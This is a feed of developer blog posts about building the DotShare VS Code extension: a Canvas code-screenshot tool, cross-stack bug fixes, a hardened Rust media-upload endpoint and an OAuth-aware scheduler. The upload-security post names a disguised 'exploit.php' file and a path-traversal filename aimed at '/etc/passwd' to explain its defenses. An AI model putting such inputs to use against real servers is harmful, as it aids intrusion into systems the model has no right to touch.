DEV Community: freerave

I Built a Code Screenshot Tool Inside My VS Code Extension — Here's How It Works (DotShare v3.4.0)

freerave — Mon, 01 Jun 2026 09:34:05 +0000

You know that moment when you write a function you're genuinely proud of, and you want to share it on LinkedIn or Bluesky — but plain text just… doesn't do it justice?

I've been there every week.

I'm Kareem (FreeRave), founder of DotSuite — a suite of privacy-first Linux tools and VS Code extensions. DotShare is my VS Code extension for sharing content across LinkedIn, X, Bluesky, Reddit, Dev.to, Medium, Telegram, and more — all without leaving the editor.

Today I'm shipping v3.4.0, and the headline feature is CodeSnap: a code-to-image tool built entirely inside the extension's WebView, using nothing but HTML Canvas and Highlight.js.

No node-canvas. No sharp. No native binaries. Zero extra dependencies.

Let me walk you through how it works and why I built it this way.

The Problem: Code Screenshots in VS Code Are Painful

The existing solutions are either:

External web apps (Carbon, Ray.so) — you copy code, tab out, paste, configure, download, come back, attach. Five steps too many.
Other VS Code extensions (CodeSnap, Polacode) — great tools, but they don't integrate with a sharing workflow. You screenshot, then you still have to open your composer manually.

I wanted the whole loop inside one tool:

Select code → 📸 Snap → Pick platform → Composer opens with image attached

That's it. No context switching.

The Architecture Decision: Why HTML Canvas?

When I started building this, the "obvious" choice was node-canvas — the Node.js port of the HTML Canvas API. But I ran into three hard problems immediately:

1. Native binaries are a Marketplace nightmare.
node-canvas requires node-gyp and compiles native C++ addons. On VS Code Marketplace, extensions with native binaries are flagged, slow to install, and break on ARM Macs and certain Linux distros.

2. sharp is 10MB+ of compiled code.
For a feature that renders a static image, that's an absurd payload.

3. VS Code already ships a full browser engine (Electron).
The WebView is a Chromium tab. It has a GPU-accelerated Canvas API, a full DOM parser, and font rendering that matches what the user actually sees on screen. Why fight it?

So the decision was: render in the WebView, export PNG from there, and ship it back to the extension host.

The flow looks like this:

┌─────────────────────┐       loadCode        ┌─────────────────────┐
│   Extension Host    │ ──────────────────────▶│   WebView (Canvas)  │
│   (Node.js)         │                        │   (Chromium)        │
│                     │◀── snapReady (base64) ─│                     │
│  CodeSnapPanel.ts   │                        │  codesnap.html      │
│  MediaService.ts    │                        │  hljs + Canvas API  │
└─────────────────────┘                        └─────────────────────┘
         │
         ▼
    Saves to disk
    QuickPick: which platform?
    Opens Composer with image attached

CodeSnapService: Reading the Editor

The first piece is pure Node.js — no VS Code UI involved yet. CodeSnapService.capture() reads the active editor and returns everything the renderer needs:

// src/services/CodeSnapService.ts

export interface CodeSnapData {
    code: string;
    language: string;  // resolved to HL.js alias
    fileName: string;
    lineStart: number;
    lineEnd: number;
    hasSelection: boolean;
}

public static capture(): CodeSnapData | null {
    const editor = vscode.window.activeTextEditor;
    if (!editor) return null;

    const doc       = editor.document;
    const selection = editor.selection;
    const hasSelection = !selection.isEmpty;

    let code = hasSelection
        ? doc.getText(selection)
        : doc.getText();

    // Tabs break canvas rendering — convert to spaces first
    code = code.replace(/\t/g, '    ');

    // Strip common leading indent so the image doesn't waste space
    code = CodeSnapService._stripCommonIndent(code);

    return {
        code,
        language:  CodeSnapService._resolveLanguage(doc.languageId, doc.fileName),
        fileName:  path.basename(doc.fileName),
        lineStart: hasSelection ? selection.start.line + 1 : 1,
        lineEnd:   hasSelection ? selection.end.line   + 1 : doc.lineCount,
        hasSelection,
    };
}

Two details worth calling out:

Tab conversion — HTML Canvas has inconsistent \t rendering across platforms. Converting to 4 spaces before we even touch the canvas eliminates an entire class of alignment bugs.

Common indent stripping — if you select a deeply nested function, the raw text has 16 spaces of leading indent on every line. _stripCommonIndent finds the minimum indent across all non-empty lines and removes it. The rendered image uses the full canvas width instead of leaving most of it empty.

private static _stripCommonIndent(code: string): string {
    const lines = code.split('\n');
    const minIndent = Math.min(
        ...lines
            .filter(l => l.trim().length > 0)
            .map(l => l.match(/^(\s*)/)?.[1].length ?? 0)
    );
    if (minIndent === 0) return code;
    return lines.map(l => l.slice(minIndent)).join('\n').trimEnd();
}

The Canvas Renderer

The canvas rendering runs entirely in the WebView. Here's the core loop — I'll walk through it section by section.

Step 1: Measure before you paint

// Measure text to calculate canvas dimensions
const tmp    = document.createElement('canvas');
const tmpCtx = tmp.getContext('2d');
tmpCtx.font  = `${fontSize}px 'JetBrains Mono', 'Fira Code', Consolas, monospace`;

const lines    = data.code.split('\n');
const maxCodeW = Math.max(...lines.map(l => tmpCtx.measureText(l).width));

const innerW = Math.ceil(maxCodeW + lineNumWidth) + padding * 2;
const innerH = lines.length * LINE_H + padding * 2 + TITLE_H;

We use a throwaway canvas just to measure text width before the real canvas exists. This lets us size the output to exactly fit the content — no hardcoded 800px width.

Step 2: 2x resolution for Retina

const cv = document.createElement('canvas');
cv.width  = canvasW * 2;   // physical pixels
cv.height = canvasH * 2;
cv.style.width  = canvasW + 'px';   // CSS pixels
cv.style.height = canvasH + 'px';
const ctx = cv.getContext('2d');
ctx.scale(2, 2);  // scale the context — all our coordinates stay the same

The canvas is 2× the display size but we scale the context by 2× before drawing. Every coordinate we use is still in CSS pixels. The exported PNG is full Retina resolution.

Step 3: Syntax highlighting via HL.js

This is where the real trick lives. HL.js gives us highlighted HTML like:

<span class="hljs-keyword">const</span> 
<span class="hljs-title function_">greet</span>
<span class="hljs-punctuation">(</span>
<span class="hljs-params">name</span>
<span class="hljs-punctuation">)</span>

We parse that HTML into a flat token list, then paint each token with its color:

function parseHljsHtml(html, defaultColor) {
    const out    = [];
    const parser = new DOMParser();
    const doc    = parser.parseFromString(`<pre>${html}</pre>`, 'text/html');
    flattenNode(doc.querySelector('pre'), defaultColor, out);
    return out;
}

function flattenNode(node, inheritColor, out) {
    if (node.nodeType === Node.TEXT_NODE) {
        if (node.textContent) out.push({ text: node.textContent, color: inheritColor });
        return;
    }
    if (node.nodeType === Node.ELEMENT_NODE) {
        const cls   = (node.className || '').trim();
        const color = activePalette[cls] ?? inheritColor;
        node.childNodes.forEach(c => flattenNode(c, color, out));
    }
}

flattenNode recursively walks the HL.js DOM output. When it hits a text node, it records the current inherited color. When it hits a <span>, it looks up the class name in our palette and updates the color for that subtree.

Then we split by newlines to get per-line segment arrays, and paint:

lineSegs.forEach((segs, i) => {
    const y = codeY + i * LINE_H;

    // Line number (dim, right-aligned)
    if (showLines) {
        ctx.fillStyle = 'rgba(200,200,220,.22)';
        ctx.textAlign = 'right';
        ctx.fillText(String(data.lineStart + i), lineNumX, y);
        ctx.textAlign = 'left';
    }

    // Colored tokens, left-to-right
    let x = codeX;
    for (const seg of segs) {
        if (!seg.text) continue;
        ctx.fillStyle = seg.color;
        ctx.fillText(seg.text, x, y);
        x += ctx.measureText(seg.text).width;
    }
});

This is the part that makes the output look good. Each token is measured and positioned individually, so the colors align exactly with the text.

The Race Condition I Fixed

The tricky part wasn't the canvas rendering — it was the integration between CodeSnap and the Composer.

The original approach was setTimeout:

// ❌ Old approach — fragile
vscode.commands.executeCommand('dotshare.openFullWebview', 'post', { platform });
setTimeout(() => {
    DotShareWebView.postMessage({ command: 'mediaAttached', mediaFiles: [{ ... }] });
}, 800);  // hope 800ms is enough...

This breaks on slow machines. It breaks on first load when VS Code needs to compile the extension. It breaks when the Composer webview is loading a saved draft.

The fix is a proper handshake. The Composer fires webviewReady when it mounts:

// app.ts (Composer WebView)
function onReady() {
    enableDragAndDrop(get<HTMLTextAreaElement>('post-text'));
    enableDragAndDrop(get<HTMLTextAreaElement>('blog-body'));
    send('webviewReady');  // ← "I'm alive, send me stuff"
}

if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', onReady, { once: true });
} else {
    onReady();
}

The extension host handles webviewReady in DotShareWebView:

// DotShareWebView.ts
if (data?.command === 'webviewReady') {
    vscode.commands.executeCommand('dotshare._composerReady', panel);
    return;
}

And _composerReady atomically consumes any pending snap:

// extension.ts
vscode.commands.registerCommand('dotshare._composerReady', (panel: vscode.WebviewPanel) => {
    const pending = CodeSnapPanel.consumePendingSnap();
    if (pending) {
        panel.webview.postMessage({
            command:    'mediaAttached',
            mediaFiles: [{
                mediaPath:     pending.filePath,
                mediaFilePath: pending.filePath,
                fileName:      pending.fileName,
                fileSize:      0,
            }],
        });
    }
})

consumePendingSnap() uses a FIFO queue — reads and clears atomically, no double-delivery:

// FIFO queue — thread-safe, handles rapid double-snap edge case
private _pendingSnaps: Array<{ filePath: string; fileName: string }> = [];

public static consumePendingSnap(): { filePath: string; fileName: string } | null {
    return CodeSnapPanel._instance?._pendingSnaps.shift() ?? null;
}

No race condition. No magic number timeouts. The image attaches the instant the Composer is ready — whether that's 200ms or 3 seconds.

Offline-First: No CDN

One more architectural decision worth mentioning: the VS Code webview CSP blocks external CDN requests by default — and that's correct behavior. I vendor all HL.js assets locally:

media/webview/vendor/
  highlight.min.js
  styles/
    atom-one-dark.min.css
    github-dark.min.css
    monokai.min.css
    dracula.min.css
    nord.min.css
    vs2015.min.css
    tokyo-night-dark.min.css
    github.min.css
    catppuccin-mocha.min.css

The _buildHtml() method in CodeSnapPanel resolves all of these to webview.asWebviewUri() paths and injects them as a JSON map that the WebView uses for theme switching:

const themeCssMap: Record<string, string> = {};
for (const t of themes) {
    const localPath = vscode.Uri.joinPath(stylesDir, `${t}.min.css`);
    try {
        fs.accessSync(localPath.fsPath);
        themeCssMap[t] = webview.asWebviewUri(localPath).toString();
    } catch {
        // Skip missing files gracefully — theme won't appear in selector
    }
}

html = html.replace(/\{\{THEME_CSS_MAP\}\}/g,
    JSON.stringify(themeCssMap).replace(/</g, '\\u003c').replace(/>/g, '\\u003e')
);

Works completely offline. No network requests. No CDN downtime issues.

The Result

Here's what the full workflow looks like:

Select a function in your editor
Right-click → DotShare: 📸 CodeSnap (or use the keyboard shortcut)
The CodeSnap panel opens beside your editor with a live preview
Adjust theme, font size, padding, line numbers, watermark — instant re-render
Click 🚀 Share → QuickPick: which platform?
The Composer opens with the image already attached
Write your caption, hit send

Or — from inside the Composer — click 📸 Add CodeSnap to open the panel mid-composition.

9 themes ship out of the box, completely free: Atom One Dark, GitHub Dark, GitHub Light, Monokai, Dracula, Nord, VS2015, Tokyo Night, Catppuccin Mocha.

Install DotShare

The extension is free and open source.

VS Code Marketplace:
marketplace.visualstudio.com/items?itemName=FreeRave.dotshare

Open VSX (VSCodium / Windsurf / Cursor):
open-vsx.org/extension/freerave/dotshare

GitHub:
github.com/kareem2099/DotShare

What's Next

CodeSnap is v1 — there's plenty left to build:

Custom fonts: let users point to their own monospace font
Gradient backgrounds: mesh gradients instead of solid BG color
Multiple files: side-by-side code panels in one image
Animated GIF export: show code being written, line by line

If any of these sound useful — or if you hit a bug — open an issue on GitHub or drop a comment below.

And if you ship a post using CodeSnap, tag me. I want to see what you're building. 🚀

— Kareem (FreeRave), founder of DotSuite

DotShare 3.3: The Final 10% — Crashing the Rust Compiler and Fixing Silent Node.js Bugs (Part 4)

freerave — Fri, 29 May 2026 20:21:49 +0000

How we bridged the gap between a VS Code extension, a Next.js frontend, and a Rust Axum backend — and the bizarre bugs we fought along the way.

TL;DR: Integrating three stacks (Rust backend, Node.js/Electron extension, Next.js dashboard) is where the real bugs hide — not in your logic, but at the seams between ecosystems. This post covers 4 production-grade bugs: a silent fetch body corruption, a literal Rust compiler crash, a UI state machine that silently erased user work, and a secure OAuth token relay across three services.

The Rust backend was bulletproof. The Next.js dashboard was polished. The VS Code extension felt completely native. We were on the home stretch.

Then came the final 10%.

If you've shipped anything real, you already know what this means. Not because the work is hard in the traditional sense — but because you've crossed out of any single ecosystem's comfort zone. You're no longer debugging your code. You're debugging the spaces between Rust, Node.js, and Next.js. The gaps nobody writes documentation for.

These are the bugs that live there.

🐛 Bug #1 — The Silent `fetch` Body Corruption

The Setup

The VS Code extension needed to upload cover images to our Rust Axum backend. Since VS Code extensions run in a Node.js environment, we reached for the native fetch API plus the form-data npm package — a completely standard, well-documented combo.

The code looked textbook-correct:

import FormData from 'form-data';

const formData = new FormData();
formData.append('file', buffer, { filename: 'cover.jpg' });

const response = await fetch('https://api.dotsuite.dev/v1/media/upload', {
    method: 'POST',
    headers: {
        'Authorization': `Bearer ${token}`,
        ...formData.getHeaders() // Sets Content-Type + boundary
    },
    body: formData as any
});

The Symptom

The Rust backend threw this on every single attempt:

Multipart error: Error parsing multipart/form-data request

The Investigation

We spent hours auditing the Rust Axum Multipart extractor. We logged raw bytes. We checked content-type headers. Everything on the Rust side looked sane.

Then we flipped our perspective: what if the problem was in the request itself, not the parser?

Here's the key insight. There are two completely different things called "FormData":

	Web FormData (`window.FormData`)	`form-data` npm package
Lives in	Browser / Web APIs	Node.js ecosystem
Body type	Serializes itself natively	Returns a readable stream
Works with native `fetch`?	✅ Yes	❌ No

Node's native fetch was designed around the Web FormData interface. When you pass it a form-data stream, it doesn't know how to pipe the boundary markers into the body correctly. The headers said Content-Type: multipart/form-data; boundary=---12345 — but the body was malformed. The Rust parser saw garbage.

The Fix

We replaced native fetch with axios for this specific upload path. Axios understands how to serialize Node.js stream-based FormData objects properly:

import axios from 'axios';

const response = await axios.post(
    'https://api.dotsuite.dev/v1/media/upload',
    formData,
    {
        headers: {
            'Authorization': `Bearer ${token}`,
            ...formData.getHeaders(),
        },
        maxBodyLength: Infinity, // No cap on upload size
    }
);

Immediately, the Rust backend parsed the stream perfectly, validated the magic bytes, and forwarded the file to Cloudflare R2.

💡 Lesson: Native fetch in Node.js is NOT a drop-in replacement for node-fetch or axios when dealing with npm's form-data streams. The Web API and the Node.js ecosystem have diverged here in a subtle, silent, and infuriating way.

💥 Bug #2 — We Crashed the Rust Compiler

The Setup

While refining the post scheduler, we hit an error that sends ice down the spine of any Rust developer. Not a runtime panic. Not a logic error.

The compiler itself crashed.

thread 'rustc' panicked at library/alloc/src/vec/mod.rs:2873:36:
slice index starts at 16 but ends at 15
error: the compiler unexpectedly panicked. this is a bug.

query stack during panic:
#0 [check_mod_deathness] checking deathness of variables in module `platforms`

This is called an ICE — Internal Compiler Error. It means rustc hit a state it was never supposed to reach. These are filed as bugs against the Rust project itself.

The Cause

The stack trace pointed to check_mod_deathness — the compiler pass that finds dead (unused) code to issue dead_code warnings.

We had this struct:

pub struct PublishResult {
    pub platform: Platform,
    pub post_url: Option<String>,
}

We were producing PublishResult values inside an iterator chain, but the post_url field was never actually consumed anywhere downstream. The dead-code analysis pass, when it encountered this specific pattern — an unused field inside a struct flowing through an iterator chain — hit an edge case and panicked internally.

The compiler wasn't wrong to complain. We were writing dead code. It just wasn't supposed to crash about it.

The Fix

The tempting shortcut was #[allow(dead_code)]. That silences the warning without fixing anything.

The right fix was to actually use the field. We updated the scheduler to log published URLs on success — which made post_url a live, consumed value:

// Actively consume post_url — turns dead code into observable telemetry
let published_urls: Vec<String> = results.iter()
    .filter_map(|r| r.as_ref().ok())
    .filter_map(|r| {
        r.post_url
            .as_ref()
            .map(|url| format!("{:?}: {}", r.platform, url))
    })
    .collect();

if !published_urls.is_empty() {
    tracing::info!(urls = ?published_urls, "✅ Post published successfully");
}

By consuming the field, the dead-code analyzer had nothing to flag. We bypassed the compiler bug entirely — and gained structured logs as a bonus.

💡 Lesson: An ICE is the compiler's way of saying "this code revealed a bug in me." But the underlying cause is almost always real dead code or a degenerate abstraction. Fix the dead code first — #[allow(dead_code)] is a bandage, not a solution. You can also report the ICE to help the Rust team fix the compiler bug itself.

🗑️ Bug #3 — The "Success" That Wiped Everything

The Setup

With backend and network layers stable, we focused on UX polish inside the VS Code extension's webview. That's when users started reporting something maddening:

"I upload a cover image and my entire post — title, tags, content — disappears."

The Investigation

We traced it to a central MessageHandler inside the webview that listened for backend status events:

// ❌ The bug: generic "success" = nuclear reset
case 'status':
    if (msg.type === 'success') {
        resetAllComposers(); // Wipes title, tags, content, everything
    }

The logic made sense in isolation: a success status meant a post had been published to the cloud, so clear the UI for the next post.

The problem: uploading a cover image also emitted a success status. The event system didn't distinguish between:

✅ "Image uploaded successfully" (informational — keep the form)
✅ "Post published successfully" (workflow complete — reset the form)

Both were { type: 'success' }. The UI couldn't tell them apart, so it did what it was told: wiped everything.

The Fix

We separated informational success from workflow completion at the message contract level:

// ✅ The fix: explicit, semantic events

// Generic status messages only control spinners and toast notifications
case 'status':
    updateLoadingState(msg);
    showToast(msg.message);
    break;

// Dedicated events for actual workflow transitions
case 'shareComplete':
    resetMainComposer();
    break;

case 'blogShareComplete':
    resetBlogComposer();
    break;

The backend now emits shareComplete or blogShareComplete only when the final publishing transaction commits. Image uploads, connection checks, and other intermediate operations stay as status events.

💡 Lesson: Generic event types are a trap. When your event bus grows, { type: 'success' } is as meaningful as { type: 'thing happened' }. Name events after what specifically occurred — not the sentiment of the outcome. imageUploadComplete and postPublished are unambiguous. success is not.

🔐 Bug #4 — Bridging OAuth Across Three Services

The Problem

This wasn't a crash — it was a design gap. Our Next.js frontend handles OAuth handshakes with X, LinkedIn, and Dev.to. Our Rust backend needs those tokens to execute the scheduled posts. The VS Code extension needs to know which platforms are connected to render the right UI buttons.

Three services. One source of truth. Zero raw tokens exposed to the client.

The Architecture

We implemented a secure internal handshake with a strict data flow:

┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  1. User connects LinkedIn via Next.js OAuth flow           │
│                                                             │
│  2. Next.js → POST /v1/internal/credentials/sync (Rust)    │
│     Body: { user_id, platform, encrypted_token }            │
│     Auth: internal service secret (never client-exposed)    │
│                                                             │
│  3. Rust stores encrypted token, bound to user_id           │
│                                                             │
│  4. VS Code Extension → GET /v1/oauth/connections (Rust)   │
│     Response: { linkedin: true, x: false, devto: true }     │
│                    ↑                                         │
│              Boolean map only — no tokens, ever             │
│                                                             │
└─────────────────────────────────────────────────────────────┘

Key security properties:

Tokens never touch the VS Code client. The extension only receives a boolean map of connected platforms.
The sync endpoint is internal-only. Protected by a service secret, not a user JWT.
Encryption at rest. Tokens are encrypted before storage in Rust, so even a database breach doesn't expose raw credentials.

The VS Code extension UI reacts dynamically — scheduling buttons enable/disable based on the boolean map, with zero coupling to the underlying OAuth tokens:

// Extension side — clean, no tokens in sight
const connections = await api.get<ConnectionMap>('/v1/oauth/connections');
// { linkedin: true, x: false, devto: true }

setScheduleButtonEnabled('linkedin', connections.linkedin);
setScheduleButtonEnabled('x', connections.x);
setScheduleButtonEnabled('devto', connections.devto);

💡 Lesson: When bridging auth across services, define exactly what each service needs to know — and nothing more. The VS Code client doesn't need tokens; it needs a boolean. Expose the minimum necessary data at each boundary.

Wrapping Up: The Bugs Live at the Seams

The individual stacks were each fine. Rust was fast and correct. Next.js was clean. The VS Code extension behaved exactly as expected in isolation.

Every single bug in this post happened at a boundary:

Node.js streams meeting a Rust multipart parser
A compiler analysis pass encountering dead code in an iterator chain
A generic UI event system conflating two different kinds of success
Three services needing to share auth state without sharing secrets

Cross-stack integration isn't about making things work — it's about making sure the assumptions baked into each ecosystem don't silently contradict each other. They will. Treat every boundary as a potential failure point, test each one in isolation before connecting them, and when something breaks, look at the interface before blaming the implementation.

That's how DotSuite went from a collection of three isolated services to one coherent, production-ready system.

This concludes the DotSuite Backend Architecture series. If you found this useful, the previous parts cover the concurrent cloud scheduler, the zero-trust media upload pipeline, and the OAuth flow in detail. Happy shipping.

Securing DotShare 3.3: Inside the Rust Media API (Magic Bytes, Atomic Quotas, & Race Fixes) - Part 3

freerave — Wed, 27 May 2026 10:14:16 +0000

How we built a production-grade Cloudflare R2 upload pipeline in Rust — with layered security, an atomic quota system, and a zero-trust file validation strategy.

In Part 2 of this series, we enforced Strict Separation and Fail-Fast validation to prevent silent scheduling failures and auto-refresh OAuth tokens in the background.

But our users still needed to attach images to their scheduled posts. And the moment you let users upload files to your server, you inherit one of the hardest problems in backend security: you can never trust what a user sends you.

Here is a deep dive into how we built the POST /v1/media/upload endpoint in Rust — with layered file validation, Cloudflare R2 storage, and an atomic quota system that closes a subtle but critical race condition.

The Problem: File Uploads Are a Security Minefield

Allowing file uploads without proper validation is one of the most common vectors for server compromise. The naive approach — checking the file extension or trusting the Content-Type header — is dangerously insufficient.

A malicious user can trivially rename exploit.php to photo.jpg and send it with Content-Type: image/jpeg. A server that trusts that header will store an executable PHP file in what it thinks is an image directory.

We needed a Zero-Trust validation pipeline. The rule: don't believe anything the client tells you. Verify everything from the raw binary.

Layer 1: Authentication & Body Size at the Router

Before a single byte of the file payload is even parsed, two guards run at the Axum router level.

The first is our existing Bearer JWT middleware — no valid token, no entry. The second is a global body size limit declared on the router itself:

// src/main.rs

use axum::extract::DefaultBodyLimit;

let app = Router::new()
    .route("/v1/media/upload", post(routes::media::upload_media))
    // ... other routes ...
    .layer(DefaultBodyLimit::max(10 * 1024 * 1024)); // 10 MB hard cap

This DefaultBodyLimit layer rejects oversized requests at the framework level — before our handler allocates any memory for the file. It is the outermost wall.

Layer 2: Magic Bytes Validation (Zero-Trust File Identity)

Inside the handler, we apply a second, stricter file size check (5 MB) and then the core of our zero-trust strategy: magic bytes validation.

Every legitimate image file format begins with a known binary signature, called a "magic number," embedded in the first few bytes of the file. JPEG files always start with FF D8 FF. PNG files always start with 89 50 4E 47. These cannot be faked without corrupting the file.

Here is our implementation:

// src/routes/media.rs

// Allowed MIME types and their corresponding magic bytes
const ALLOWED_TYPES: &[(&str, &[&[u8]], &str)] = &[
    ("image/jpeg", &[&[0xff, 0xd8, 0xff]], "jpg"),
    ("image/png",  &[&[0x89, 0x50, 0x4e, 0x47]], "png"),
    ("image/webp", &[&[0x52, 0x49, 0x46, 0x46]], "webp"), // RIFF header
    ("image/gif",  &[&[0x47, 0x49, 0x46, 0x38]], "gif"),
];

fn validate_magic_bytes(buffer: &[u8], mime_type: &str) -> Option<&'static str> {
    for (allowed_mime, magics, ext) in ALLOWED_TYPES {
        if *allowed_mime == mime_type {
            for magic in *magics {
                if buffer.starts_with(*magic) {
                    return Some(ext); // Return the verified extension
                }
            }
        }
    }
    None // Content-Type claimed a valid MIME but binary doesn't match — reject
}

This function does two things at once. First, it checks that the claimed Content-Type is on our whitelist. Second, it verifies that the actual binary content matches the claimed format. A renamed executable will fail this check because its binary signature will never match FF D8 FF.

Layer 3: UUID-Based Storage Keys (Path Traversal Prevention)

Even after validating the file content, we never use the client-supplied filename to construct the storage key. A filename like ../../../etc/passwd — known as a Path Traversal attack — could theoretically escape the intended storage directory.

Our solution is to discard the original filename entirely and generate a random UUID as the storage key:

// The raw client filename is intentionally discarded.
// UUID-based key — fully immune to path traversal.
let file_name = format!("dotsuite/scheduled_posts/{}.{}", Uuid::new_v4(), ext);

The extension comes from our validate_magic_bytes function — not from the client. The full storage path is entirely server-generated. The user's filename never touches the storage layer.

Layer 4: Atomic Quota Enforcement (Closing the Race Condition)

This is where it gets subtle. Our initial quota check looked reasonable:

// ❌ The naive (broken) approach
let current = user.images_used; // Read from DB
if current >= image_quota {
    return Err(quota_exceeded_error);
}
// ... upload the file ...
db.increment_images_used(user_id).await; // Write to DB

The flaw: there is a window between the read and the write. If two upload requests arrive simultaneously from the same user whose quota counter is at limit - 1, both will read current < limit, both will pass the check, and both will upload — incrementing the counter to limit + 1. The quota is silently bypassed.

We had already solved this exact pattern in our schedule_post route using MongoDB's find_one_and_update — an atomic operation that combines the check and the increment in a single database command. We applied the same fix here:

// src/routes/media.rs

// ── Atomic quota check + slot reservation ────────────────────────────────
// find_one_and_update eliminates the race condition: the check and the
// increment are a single atomic MongoDB operation, not two separate ones.
let quota_filter = if user.tier == Tier::Free {
    mongodb::bson::doc! {
        "_id": user_id,
        "$expr": { "$lt": ["$images_used", image_quota as i64] }
    }
} else {
    // Paid tiers have no hard cap — we still track for analytics.
    mongodb::bson::doc! { "_id": user_id }
};

let reserved = users_col
    .find_one_and_update(
        quota_filter,
        mongodb::bson::doc! { "$inc": { "images_used": 1 } },
    )
    .await?;

if reserved.is_none() {
    return Err(AppError::Forbidden(format!(
        "Image upload quota reached ({}/{} uploads). Upgrade to Basic for unlimited uploads.",
        user.images_used, image_quota
    )));
}

The database becomes the single source of truth. No two concurrent requests can both pass the quota gate because MongoDB guarantees the atomicity of findOneAndUpdate at the document level.

Layer 5: The R2 Upload & Quota Rollback

After the quota slot is reserved, we upload to Cloudflare R2 via the AWS S3-compatible SDK. But there is one more edge case: what if the R2 upload fails after we have already incremented the quota counter? The slot was reserved but no file was stored — the user's quota is penalised for a failure that wasn't their fault.

To handle this cleanly, we perform a rollback on R2 failure:

if let Err(e) = upload_result {
    tracing::error!("Failed to upload to R2: {:?}", e);

    // Rollback: return the slot so the quota isn't wasted.
    let rollback = users_col
        .update_one(
            mongodb::bson::doc! { "_id": user_id },
            mongodb::bson::doc! { "$inc": { "images_used": -1i32 } },
        )
        .await;

    if let Err(rb_err) = rollback {
        tracing::error!(
            "Failed to rollback images_used for user {}: {}",
            user_id, rb_err
        );
    }

    return Err(AppError::Internal(anyhow::anyhow!(
        "Failed to upload media to cloud storage"
    )));
}

The rollback is best-effort — we log a critical error if it fails, but we do not surface the rollback failure to the client.

The Complete Security Stack

Here is what runs on every single upload request, in order:

Layer	Mechanism	Rejects
1	Bearer JWT middleware	Unauthenticated requests
2	`DefaultBodyLimit` (10 MB)	Oversized requests before parsing
3	Handler check (5 MB)	Files within the body but over the per-file limit
4	Magic bytes validation	Wrong MIME type, renamed executables, corrupted files
5	Atomic `find_one_and_update`	Quota-exceeded requests (race-condition-free)
6	UUID storage key	Path traversal attacks
7	R2 upload + rollback	Storage failures without wasting quota

None of these layers is sufficient alone. Together, they form a defence-in-depth pipeline where each layer assumes the previous one could have been bypassed.

Conclusion

Building a production-grade file upload endpoint is deceptively complex. The surface-level logic — receive file, save to storage — takes an hour. The hardening takes days.

The three biggest lessons from this build:

Never trust Content-Type. A header is a claim, not a proof. Always read the raw binary signature of the file.
A quota check and a quota increment must be one atomic operation. Two database calls — even milliseconds apart — create a race window that determined users will find and exploit.
Reserve resources before the expensive operation, and roll back on failure. Incrementing the quota counter before the R2 upload, with a decrement on failure, is always safer than incrementing after a success that might never be recorded.

The POST /v1/media/upload endpoint is now a vault. In Part 4, we will build the Next.js scheduling UI that calls it.

(If you haven't read the previous deep dives, check out the full Ship on Schedule Series.)

Building DotShare 3.3: A Fail-Fast Rust Scheduler with Background OAuth Auto-Refresh (Part 2)

freerave — Mon, 25 May 2026 06:46:15 +0000

In Part 1 of this backend series, I broke down the core architecture of dotsuite-core — a private Rust backend powering 18 developer tools, complete with multi-tier scheduling and the "Look-Ahead + Sleep" pattern.

But as with any production system, solving one architectural challenge reveals the next. In our case: Silent Scheduling Failures and Expiring OAuth Tokens.

Here is a deep dive into how we implemented a Strict Separation model, adopted a Fail-Fast philosophy, and engineered a background worker in Rust to automatically refresh OAuth tokens before they expire.

The Problem: Doomed Scheduled Posts

DotShare allows developers to schedule social media posts directly from VS Code. Initially, our scheduling flow looked like this:

User writes a post in VS Code and clicks "Schedule".
The Rust backend accepts the payload, deducts the monthly quota, and saves it as Pending in MongoDB.
The background cron scheduler wakes up at the right time to publish.

The Flaw: What if the user hadn't connected their Twitter (X) or LinkedIn accounts via OAuth on the DotSuite dashboard yet?

The scheduler would wake up, search the database for the user's OAuth tokens, find nothing, and inevitably fail. The user's quota was burned, the database was polluted with doomed posts, and the user woke up to a silent failure.

Architecture Decision: Strict Separation & Fail-Fast

We needed a Strict Separation between local VS Code execution and Cloud Scheduling. If you want the cloud to schedule it, the cloud must have your OAuth tokens.

Instead of catching the error during the background cron tick, we applied the Fail-Fast principle right at the API gateway. The server must definitively verify the existence of the required platform credentials before doing anything else.

Here is the exact Rust code we added to our schedule_post route to enforce this:

// src/routes/posts.rs

// ── Pre-Quota: OAuth Credentials Validation ────────────────────────────
let creds_col = state.db.collection::<UserCredential>("user_credentials");

// Convert the requested platforms to BSON
let platforms_bson: Vec<bson::Bson> = body.platforms.iter()
    .map(|p| bson::to_bson(p).unwrap())
    .collect();

// Query MongoDB for existing credentials
let mut cursor = creds_col.find(doc! {
    "user_id": user_id,
    "platform": { "$in": platforms_bson }
}).await?;

let mut connected_platforms = std::collections::HashSet::new();
use futures_util::TryStreamExt;
while let Ok(Some(cred)) = cursor.try_next().await {
    connected_platforms.insert(cred.platform);
}

// Find exactly which platforms the user is missing
let missing_platforms: Vec<Platform> = body.platforms
    .iter()
    .filter(|&p| !connected_platforms.contains(p))
    .cloned()
    .collect();

if !missing_platforms.is_empty() {
    let names = missing_platforms.iter()
        .map(|p| format!("{:?}", p))
        .collect::<Vec<_>>()
        .join(", ");

    // Reject instantly before quota deduction!
    return Err(AppError::MissingOauth(
        format!("You haven't connected {} to DotSuite Cloud yet.", names),
        missing_platforms,
    ));
}

By adding a custom MissingOauth error variant in our errors.rs, the Axum backend generates a beautifully structured JSON response:

{
  "error": {
    "code": "MISSING_OAUTH_CREDENTIALS",
    "message": "You haven't connected X, LinkedIn to DotSuite Cloud yet.",
    "missing_platforms": ["x", "linkedin"]
  }
}

Premium UX in VS Code (TypeScript)

A structured error is only as good as the UX that presents it. In our VS Code extension, we intercept the MISSING_OAUTH_CREDENTIALS error code.

Instead of showing a generic "Server Error 400" toast, we display an actionable VS Code alert with an "Open Dashboard" button. This deep-links the developer straight into their DotSuite Cloud integration settings.

// DotShare/src/handlers/PostHandler.ts

const result = await SchedulerClient.schedulePost(context, postData, platforms, scheduledTime);

if (!result.success) {
    if (result.errorCode === 'MISSING_OAUTH_CREDENTIALS') {
        const action = 'Open Dashboard';
        vscode.window.showErrorMessage(
            '☁️ Cloud Scheduling requires secure OAuth. Please open the DotSuite Dashboard to connect your social accounts.',
            action
        ).then(selection => {
            if (selection === action) {
                // Deep link right to the login/integrations page
                const DOTSUITE_LOGIN_URL = `https://dotsuite.dev/en/login?intent=vscode`;
                vscode.env.openExternal(vscode.Uri.parse(DOTSUITE_LOGIN_URL));
            }
        });
    } else {
        vscode.window.showErrorMessage(`Failed: ${result.message}`);
    }
}

